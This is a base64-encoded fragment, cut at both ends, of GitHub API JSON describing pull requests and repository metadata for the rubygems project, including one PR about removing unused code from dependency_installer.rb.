ZmFsc2V9LCJyZXBvIjp7ImlkIjo2MTQwNzAsIm5hbWUiOiJydWJ5Z2VtcyIsImZ1bGxfbmFtZSI6InJ1YnlnZW1zL3J1YnlnZW1zIiwib3duZXIiOnsibG9naW4iOiJydWJ5Z2VtcyIsImlkIjoyMDg3NjEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzIwODc2MT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2VtcyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6Ik9yZ2FuaXphdGlvbiIsInNpdGVfYWRtaW4iOmZhbHNlfSwicHJpdmF0ZSI6ZmFsc2UsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zIiwiZGVzY3JpcHRpb24iOiJMaWJyYXJ5IHBhY2thZ2luZyBhbmQgZGlzdHJpYnV0aW9uIGZvciBSdWJ5LiIsImZvcmsiOmZhbHNlLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwiZm9ya3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9mb3JrcyIsImtleXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9rZXlzey9rZXlfaWR9IiwiY29sbGFib3JhdG9yc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbGxhYm9yYXRvcnN7L2NvbGxhYm9yYXRvcn0iLCJ0ZWFtc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3RlYW1zIiwiaG9va3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ob29rcyIsImlzc3VlX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy9ldmVudHN7L251bWJlcn0iLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ldmVudHMiLCJhc3NpZ25lZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9hc3NpZ25lZXN7L3VzZXJ9IiwiYnJhbmNoZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9icmFuY2hlc3svYnJhbmNofSIsInRhZ3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy90YWdzIiwiYmxvYnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvYmxvYnN7L3NoYX0iLCJnaXRfdGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90YWdzey9zaGF9IiwiZ2l0X3JlZnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvcmVmc3svc2hhfSIsInRyZWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzey9zaGF9Iiwic3RhdHVzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdGF0dXNlcy97c2hhfSIsImxhbmd1YWdlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhbmd1YWdlcyIsInN0YXJnYXplcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdGFyZ2F6ZXJzIiwiY29udHJpYnV0b3JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29udHJpYnV0b3JzIiwic3Vic2NyaWJlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdWJzY3JpYmVycyIsInN1YnNjcmlwdGlvbl91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N1YnNjcmlwdGlvbiIsImNvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzey9zaGF9IiwiZ2l0X2NvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0c3svc2hhfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWVudHN7L251bWJlcn0iLCJpc3N1ZV9jb21tZW50X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzL2NvbW1lbnRzey9udW1iZXJ9IiwiY29udGVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb250ZW50cy97K3BhdGh9IiwiY29tcGFyZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbXBhcmUve2Jhc2V9Li4ue2hlYWR9IiwibWVyZ2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbWVyZ2VzIiwiYXJjaGl2ZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3thcmNoaXZlX2Zvcm1hdH17L3JlZn0iLCJkb3dubG9hZHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9kb3dubG9hZHMiLCJpc3N1ZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXN7L251bWJlcn0iLCJwdWxsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzey9udW1iZXJ9IiwibWlsZXN0b25lc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL21pbGVzdG9uZXN7L251bWJlcn0iLCJub3RpZmljYXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbm90aWZpY2F0aW9uc3s/c2luY2UsYWxsLHBhcnRpY2lwYXRpbmd9IiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzey9uYW1lfSIsInJlbGVhc2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcmVsZWFzZXN7L2lkfSIsImRlcGxveW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZGVwbG95bWVudHMiLCJjcmVhdGVkX2F0IjoiMjAxMC0wNC0xNlQxOTowMjo0NFoiLCJ1cGRhdGVkX2F0IjoiMjAxOC0wMS0wNVQxOTozNjowNloiLCJwdXNoZWRfYXQiOiIyMDE4LTAxLTA1VDA4OjIwOjM1WiIsImdpdF91cmwiOiJnaXQ6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zLmdpdCIsInNzaF91cmwiOiJnaXRAZ2l0aHViLmNvbTpydWJ5Z2Vtcy9ydWJ5Z2Vtcy5naXQiLCJjbG9uZV91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMuZ2l0Iiwic3ZuX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImhvbWVwYWdlIjoiaHR0cHM6Ly9ydWJ5Z2Vtcy5vcmcvIiwic2l6ZSI6MTQyOTAsInN0YXJnYXplcnNfY291bnQiOjE5MDYsIndhdGNoZXJzX2NvdW50IjoxOTA2LCJsYW5ndWFnZSI6IlJ1YnkiLCJoYXNfaXNzdWVzIjp0cnVlLCJoYXNfcHJvamVjdHMiOmZhbHNlLCJoYXNfZG93bmxvYWRzIjp0cnVlLCJoYXNfd2lraSI6ZmFsc2UsImhhc19wYWdlcyI6ZmFsc2UsImZvcmtzX2NvdW50Ijo5NTksIm1pcnJvcl91cmwiOm51bGwsImFyY2hpdmVkIjpmYWxzZSwib3Blbl9pc3N1ZXNfY291bnQiOjE2MiwibGljZW5zZSI6eyJrZXkiOiJvdGhlciIsIm5hbWUiOiJPdGhlciIsInNwZHhfaWQiOm51bGwsInVybCI6bnVsbH0sImZvcmtzIjo5NTksIm9wZW5faXNzdWVzIjoxNjIsIndhdGNoZXJzIjoxOTA2LCJkZWZhdWx0X2JyYW5jaCI6Im1hc3RlciJ9fSwiX2xpbmtzIjp7InNlbGYiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTUzNCJ9LCJodG1sIjp7ImhyZWYiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNTM0In0sImlzc3VlIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTM0In0sImNvbW1lbnRzIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTM0L2NvbW1lbnRzIn0sInJldmlld19jb21tZW50cyI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xNTM0L2NvbW1lbnRzIn0sInJldmlld19jb21tZW50Ijp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzL2NvbW1lbnRzey9udW1iZXJ9In0sImNvbW1pdHMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTUzNC9jb21taXRzIn0sInN0YXR1c2VzIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXR1c2VzL2UzY2E3NjJkYWU3ZjRiNzcxOTZlZmVlOGIxZDIyMTUyNTZkYTlhODAifX0sImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik1FTUJFUiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xNTI0IiwiaWQiOjYxMzQ4NTUyLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE1MjQiLCJkaWZmX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE1MjQuZGlmZiIsInBhdGNoX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE1MjQucGF0Y2giLCJpc3N1ZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTI0IiwibnVtYmVyIjoxNTI0LCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJ0aXRsZSI6InJlbW92aW5nIHVudXNlZCBjb2RlIGZyb20gZGVwZW5kZW5jeV9pbnN0YWxsZXIucmIiLCJ1c2VyIjp7ImxvZ2luIjoiYnJvbnpkb2MiLCJpZCI6NDU5NTE3NCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczIuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNDU5NTE3ND92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9icm9uemRvYyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2Mvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImJvZHkiOiIiLCJjcmVhdGVkX2F0IjoiMjAxNi0wMy0wMlQwNDowNTo0MloiLCJ1cGRhdGVkX2F0IjoiMjAxNi0xMC0yNVQwMjoyOTo1N1oiLCJjbG9zZWRfYXQiOm51bGwsIm1lcmdlZF9hdCI6bnVsbCwibWVyZ2VfY29tbWl0X3NoYSI6IjhjYmE5YjZlNTZlNTY1Njc5ZTllZmFjN2EzOGJmYmYyNDM1YTU0YzUiLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwicmVxdWVzdGVkX3Jldmlld2VycyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzE1MjQvY29tbWl0cyIsInJldmlld19jb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzE1MjQvY29tbWVudHMiLCJyZXZpZXdfY29tbWVudF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzL2NvbW1lbnRzey9udW1iZXJ9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTUyNC9jb21tZW50cyIsInN0YXR1c2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3RhdHVzZXMvYzY4M2VjYzljOWE3MjMwMGFiMjJiMTE5OTgyY2ZiMTFlNzIxNjBiOCIsImhlYWQiOnsibGFiZWwiOiJicm9uemRvYzpyZW1vdmVfdW51c2VkX2NvZGUiLCJyZWYiOiJyZW1vdmVfdW51c2VkX2NvZGUiLCJzaGEiOiJjNjgzZWNjOWM5YTcyMzAwYWIyMmIxMTk5ODJjZmIxMWU3MjE2MGI4IiwidXNlciI6eyJsb2dpbiI6ImJyb256ZG9jIiwiaWQiOjQ1OTUxNzQsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMyLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzQ1OTUxNzQ/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnJvbnpkb2MiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2Mvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJyZXBvIjp7ImlkIjo0MDc5NTQ1NCwibmFtZSI6InJ1YnlnZW1zIiwiZnVsbF9uYW1lIjoiYnJvbnpkb2MvcnVieWdlbXMiLCJvd25lciI6eyJsb2dpbiI6ImJyb256ZG9jIiwiaWQiOjQ1OTUxNzQsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMyLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzQ1OTUxNzQ/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnJvbnpkb2MiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2Mvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwcml2YXRlIjpmYWxzZSwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnJvbnpkb2MvcnVieWdlbXMiLCJkZXNjcmlwdGlvbiI6IkxpYnJhcnkgcGFja2FnaW5nIGFuZCBkaXN0cmlidXRpb24gZm9yIFJ1YnkuIiwiZm9yayI6dHJ1ZSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9icm9uemRvYy9ydWJ5Z2VtcyIsImZvcmtzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvYnJvbnpkb2MvcnVieWdlbXMvZm9ya3MiLCJrZXlzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvYnJvbnpkb2MvcnVieWdlbXMva2V5c3sva2V5X2lkfSIsImNvbGxhYm9yYXRvcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9icm9uemRvYy9ydWJ5Z2Vtcy9jb2xsYWJvcmF0b3Jzey9jb2xsYWJvcmF0b3J9IiwidGVhbXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9icm9uemRvYy9ydWJ5Z2Vtcy90ZWFtcyIsImhvb2tzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvYnJvbnpkb2MvcnVieWdlbXMvaG9va3MiLCJpc3N1ZV9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9icm9uemRvYy9ydWJ5Z2Vtcy9pc3N1ZXMvZXZlbnRzey9udW1iZXJ9IiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvYnJvbnpkb2MvcnVieWdlbXMvZXZlbnRzIiwiYXNzaWduZWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvYnJvbnpkb2MvcnVieWdlbXMvYXNzaWduZWVzey91c2VyfSIsImJyYW5jaGVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvYnJvbnpkb2MvcnVieWdlbXMvYnJhbmNoZXN7L2JyYW5jaH0iLCJ0YWdzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvYnJvbnpkb2MvcnVieWdlbXMvdGFncyIsImJsb2JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvYnJvbnpkb2MvcnVieWdlbXMvZ2l0L2Jsb2Jzey9zaGF9IiwiZ2l0X3RhZ3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9icm9uemRvYy9ydWJ5Z2Vtcy9naXQvdGFnc3svc2hhfSIsImdpdF9yZWZzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvYnJvbnpkb2MvcnVieWdlbXMvZ2l0L3JlZnN7L3NoYX0iLCJ0cmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2Jyb256ZG9jL3J1YnlnZW1zL2dpdC90cmVlc3svc2hhfSIsInN0YXR1c2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvYnJvbnpkb2MvcnVieWdlbXMvc3RhdHVzZXMve3NoYX0iLCJsYW5ndWFnZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9icm9uemRvYy9ydWJ5Z2Vtcy9sYW5ndWFnZXMiLCJzdGFyZ2F6ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvYnJvbnpkb2MvcnVieWdlbXMvc3RhcmdhemVycyIsImNvbnRyaWJ1dG9yc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2Jyb256ZG9jL3J1YnlnZW1zL2NvbnRyaWJ1dG9ycyIsInN1YnNjcmliZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvYnJvbnpkb2MvcnVieWdlbXMvc3Vic2NyaWJlcnMiLCJzdWJzY3JpcHRpb25fdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9icm9uemRvYy9ydWJ5Z2Vtcy9zdWJzY3JpcHRpb24iLCJjb21taXRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvYnJvbnpkb2MvcnVieWdlbXMvY29tbWl0c3svc2hhfSIsImdpdF9jb21taXRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvYnJvbnpkb2MvcnVieWdlbXMvZ2l0L2NvbW1pdHN7L3NoYX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2Jyb256ZG9jL3J1YnlnZW1zL2NvbW1lbnRzey9udW1iZXJ9IiwiaXNzdWVfY29tbWVudF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2Jyb256ZG9jL3J1YnlnZW1zL2lzc3Vlcy9jb21tZW50c3svbnVtYmVyfSIsImNvbnRlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20